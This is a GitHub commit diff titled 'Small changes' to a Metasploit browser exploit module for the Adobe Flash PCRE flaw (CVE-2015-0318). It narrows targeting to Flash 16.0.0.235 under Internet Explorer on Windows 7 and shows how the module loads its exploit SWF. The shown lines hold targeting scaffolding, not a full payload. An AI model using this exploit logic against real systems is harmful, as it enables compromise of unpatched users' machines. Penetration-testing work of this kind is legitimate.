Skip to content

Commit 3bfdfbc

Browse files
committed
Small changes
1 parent 182850d commit 3bfdfbc

File tree

1 file changed

+3
-3
lines changed

1 file changed

+3
-3
lines changed

modules/exploits/windows/browser/adobe_flash_pcre.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -46,13 +46,13 @@ def initialize(info={})
4646
'BrowserRequirements' =>
4747
{
4848
:source => /script|headers/i,
49-
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
49+
:clsid => "{#{CLASSID}}",
5050
:method => "LoadMovie",
5151
:os_name => OperatingSystems::Match::WINDOWS_7,
5252
:ua_name => Msf::HttpClients::IE,
5353
# Ohter versions are vulnerable but .235 is the one that works for me pretty well
5454
# So we're gonna limit to this one for now. More validation needed in the future.
55-
:flash => lambda { |ver| ver =~ /^16\./ && ver <= '16.0.0.235' }
55+
:flash => lambda { |ver| ver == '16.0.0.235' }
5656
},
5757
'Targets' =>
5858
[
@@ -110,7 +110,7 @@ def exploit_template(cli, target_info)
110110

111111
def create_swf
112112
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2015-0318", "Main.swf" )
113-
swf = ::File.open(path, 'rb') { |f| swf = f.read }
113+
swf = ::File.open(path, 'rb') { |f| swf = f.read }
114114

115115
swf
116116
end

0 commit comments

Comments
 (0)